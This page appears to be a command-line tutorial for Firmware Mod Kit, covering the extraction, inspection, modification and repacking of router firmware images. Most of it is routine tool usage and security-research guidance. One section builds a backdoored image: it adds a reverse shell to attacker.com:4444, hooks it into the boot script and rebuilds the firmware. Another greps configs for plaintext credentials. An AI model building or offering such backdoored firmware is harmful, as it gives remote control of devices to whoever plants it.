Aller au contenu

Firmware Mod Kit

Firmware Mod Kit is a collection of bash scripts that automate the extraction, modification, and repacking of firmware images from embedded devices. It streamlines the process of unpacking filesystem archives, analyzing kernel images, and rebuilding modified firmware for testing and research purposes.

# Clone the repository
git clone https://github.com/rampageX/firmware-mod-kit.git
cd firmware-mod-kit

# Install dependencies
sudo apt-get update
sudo apt-get install build-essential git zlib1g-dev liblzma-dev \
  bzip2 python3 python3-pip unzip

# Install Python dependencies
pip3 install pycrypto capstone

# Make scripts executable
chmod +x *.sh
chmod +x trunk/tools/*.sh
# Using Homebrew
brew install binutils squashfs-tools

# Clone and setup
git clone https://github.com/rampageX/firmware-mod-kit.git
cd firmware-mod-kit
chmod +x *.sh trunk/tools/*.sh
StepCommandPurpose
Extract./extract-firmware.sh firmware.binUnpack filesystem and kernel from binary
AnalyzeBrowse extract folder structureExplore unpacked contents
ModifyEdit files in extract/ directoryChange configs, binaries, or scripts
Rebuild./build-firmware.shRepack filesystem and kernel
VerifyCompare checksums, test imageValidate integrity and functionality
# Extract single firmware image
./extract-firmware.sh firmware.bin

# Extract with output to custom directory
./extract-firmware.sh -d custom_dir firmware.bin

# Extract and preserve original
cp firmware.bin firmware.bin.backup
./extract-firmware.sh firmware.bin

After extraction, the extract/ folder contains:

  • squashfs-root/ — Root filesystem (configs, binaries, libraries)
  • vmlinuz or kernel — Kernel image
  • rootfs.md5 — MD5 checksum of root filesystem
  • uImage or uImage.lzma — Compressed kernel (if present)
# List directory structure
cd extract/squashfs-root
ls -la

# Find configuration files
find . -name "*.conf" -o -name "*.cfg"

# Locate init scripts
find . -path "*/etc/init.d/*"

# Find web interface files (for routers)
find . -path "*/www/*" -o -path "*/html/*"

# Identify architecture and binary info
file bin/* usr/bin/* | grep -i "arm\|mips\|x86"
# Change router hostname
cd extract/squashfs-root
nano etc/hostname

# Modify boot scripts
nano etc/init.d/rcS

# Edit web configuration
nano www/index.html

# Adjust network settings
nano etc/network/interfaces
# Copy new files into filesystem
cp -r /path/to/new/files extract/squashfs-root/opt/

# Add custom startup script
cp my_script.sh extract/squashfs-root/etc/init.d/
chmod +x extract/squashfs-root/etc/init.d/my_script.sh

# Add security research tools
mkdir -p extract/squashfs-root/opt/tools
cp analysis_tool extract/squashfs-root/opt/tools/
chmod +x extract/squashfs-root/opt/tools/analysis_tool
# Navigate to filesystem
cd extract/squashfs-root

# Remove unnecessary binaries
rm -f bin/telnetd usr/bin/hnap

# Clean up web interface components
rm -rf www/images/old_ui

# Strip debug symbols from binaries (reduces size)
for file in bin/* usr/bin/*; do
  [ -f "$file" ] && strip "$file" 2>/dev/null
done
# Build firmware with extracted modifications
./build-firmware.sh

# Specify output filename
./build-firmware.sh -o modified_firmware.bin

# Include specific filesystem format
./build-firmware.sh -b extract/
# Build with compression enabled
./build-firmware.sh -z

# Build with specific architecture
./build-firmware.sh -a mips

# Verbose output for debugging
./build-firmware.sh -v

# Skip checksum verification
./build-firmware.sh -s
# Verify file size
ls -lh modified_firmware.bin

# Check file type
file modified_firmware.bin

# Compare with original
ls -lh firmware.bin modified_firmware.bin

# Generate checksum
md5sum modified_firmware.bin > modified_firmware.md5
sha256sum modified_firmware.bin > modified_firmware.sha256
FormatExtensionArchitectureNotes
SquashFS.squashfsARM/MIPSMost common in routers
JFFS2.jffs2VariousOlder embedded devices
UBI.ubiNANDModern Android devices
CRAMFS.cramfsARM/MIPSLegacy systems
Broadcom TRX.trxMIPSBroadcom SoC routers
D-Link.binMIPSD-Link-specific format
# Extract firmware
./extract-firmware.sh router_firmware.bin

# Search for suspicious binaries
find extract/squashfs-root -type f -executable
strings extract/squashfs-root/bin/suspicious_bin | grep -i "backdoor\|shell\|execute"

# Check init scripts for payload execution
cat extract/squashfs-root/etc/init.d/rcS

# Look for hidden network services
grep -r "listen\|socket" extract/squashfs-root/etc/
# Extract all configuration files
find extract/squashfs-root/etc -type f ! -path "*/.*"

# Dump network configuration
cat extract/squashfs-root/etc/config/network

# Extract credentials (if plaintext)
grep -r "password\|username\|auth" extract/squashfs-root/etc/

# Export wireless settings
cat extract/squashfs-root/etc/config/wireless
# Create payload directory
mkdir -p extract/squashfs-root/opt/payload

# Add reverse shell
cat > extract/squashfs-root/opt/payload/shell.sh << 'EOF'
#!/bin/sh
exec /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1
EOF

chmod +x extract/squashfs-root/opt/payload/shell.sh

# Modify init script to call payload
echo "/opt/payload/shell.sh &" >> extract/squashfs-root/etc/init.d/rcS

# Rebuild
./build-firmware.sh -o payload_firmware.bin
# Verify firmware file
file firmware.bin

# Try with verbose output
./extract-firmware.sh -v firmware.bin

# Check available disk space
df -h

# Ensure proper permissions
chmod +x *.sh
# Install additional tools
sudo apt-get install xz-utils lzma

# Verify tool availability
which unsquashfs
which mkfs.squashfs
which lzma
# Check extract directory exists
ls extract/

# Verify filesystem permissions
find extract/squashfs-root -type f -exec chmod 644 {} \;
find extract/squashfs-root -type d -exec chmod 755 {} \;

# Rebuild with verbose output
./build-firmware.sh -v

# Validate output
file modified_firmware.bin
# Extract firmware
./extract-firmware.sh firmware.bin

# Locate web interface
find extract/squashfs-root -path "*/www/*" -o -path "*/html/*"

# Copy web files to analysis directory
cp -r extract/squashfs-root/www /tmp/firmware_web

# Analyze with Burp Suite as upstream proxy
# Initial analysis with Binwalk
binwalk firmware.bin

# Extract with Binwalk
binwalk -e firmware.bin

# Compare extraction methods
diff -r _firmware.bin.extracted extract/

# Deep analysis
binwalk -A firmware.bin
# Extract kernel image
./extract-firmware.sh firmware.bin

# Locate kernel binary
find extract -name "kernel" -o -name "vmlinuz" -o -name "uImage"

# Extract kernel specifically
cd extract
file vmlinuz

# Open in Ghidra/IDA Pro for reverse engineering
# Set architecture based on strings analysis
strings vmlinuz | grep -i "mips\|arm"
# Extract vulnerable firmware
./extract-firmware.sh vulnerable.bin

# Identify vulnerability
strings extract/squashfs-root/bin/vulnerable_service | grep "format"

# Replace with patched binary (if available)
cp patched_service extract/squashfs-root/bin/vulnerable_service
chmod +x extract/squashfs-root/bin/vulnerable_service

# Rebuild
./build-firmware.sh -o patched.bin
# Extract original
./extract-firmware.sh firmware.bin

# Remove unnecessary components
cd extract/squashfs-root
rm -rf usr/share/doc usr/man var/log

# Remove large libraries if not needed
find lib -name "*.a" -delete

# Rebuild minimal image
cd ../..
./build-firmware.sh -o minimal.bin
  • Always backup original firmware before extraction
  • Document modifications with comments in modified files
  • Test in sandbox before deploying modified firmware
  • Verify checksums of repacked images
  • Use version control to track firmware changes
  • Clean up temporary extraction directories after building
  • Preserve file permissions during modification
  • Keep entropy tables intact if firmware has signature verification